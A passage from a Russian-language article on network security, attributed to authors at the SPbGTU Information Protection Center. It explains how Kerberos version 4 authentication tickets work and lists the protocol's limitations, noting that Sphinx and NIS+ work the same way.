"билет" на несколько часов, который хранится в файле в зашифрованном виде. Этот билет содержит информацию о пользователе, время выдачи, адрес машины и случайно сгенерированный ключ для дальнейшего обмена идентификационной информацией. Первоначальным ключом служит пароль пользователя. Билет, выданный при входе в систему, используется для получения вторичных билетов, по которым может быть предоставлен какой-либо сетевой сервис. Со стороны сервера используется аналогичный механизм с той разницей, что в качестве пользователя выступает программа, обеспечивающая запрошенный вид услуги. Таким образом, программа пользователя и программа на сервере получают пару случайных ключей, с помощью которых они шифруют идентификационную информацию, прилагают к ней контрольные суммы и на этой основе удостоверяются в том, что они те, кем представились. После этого программа пользователя может получить доступ к сервису без запроса пароля. Без знания первоначальных ключей сеанс не состоится. Кроме того, полученная пара ключей может быть использована для шифрования всего сеанса работы по сети. Эта система имеет целый ряд недостатков. Во-первых, подразумевается четкое разделение машин на рабочие станции и серверы. В случае, если пользователь пожелает, зайдя на сервер, с помощью telnet зайти на другую машину, идентификация не сработает, так как пользователь имеет первоначальный билет только на той рабочей станции, где он вводил пароль. Иными словами, в Kerberos версии 4 полномочия пользователя не передаются на другие машины. Кроме того, требуется выделенная машина под сервер Kerberos, причем работающая в максимально секретных условиях, поскольку на ней содержится база данных, где содержатся все пароли пользователей. Kerberos версии 4 очень ограниченно применим в сети, где возможны ситуации, когда в силу ряда обстоятельств сервер Kerberos недоступен по сети (непредвиденные сбои в роутинге, ухудшение или обрыв связи и т.д.). Часть недостатков, перечисленных выше, ликвидирована в версии 5, но эта реализация запрещена к экспорту из США. По описанному алгоритму работают также системы Sphinx от DEC и NIS+ от Sun. Отличаются они применением различных алгоритмов шифрования, другого протокола передачи (RPC вместо UDP) и способов объединения административных доменов в иерархию. Кроме рассмотренных, существуют и другие, более изощренные, способы вторжения. Многие из них можно нейтрализовать простым "аккуратным" администрированием. По статистике большинство взломов осуществляется из-за халатности администраторов или персонала, эксплуатирующего систему.

И.Д.Медведковский П.В. Семьянов (Центр Защиты Информации СПбГТУ)

fairwind@mail.ru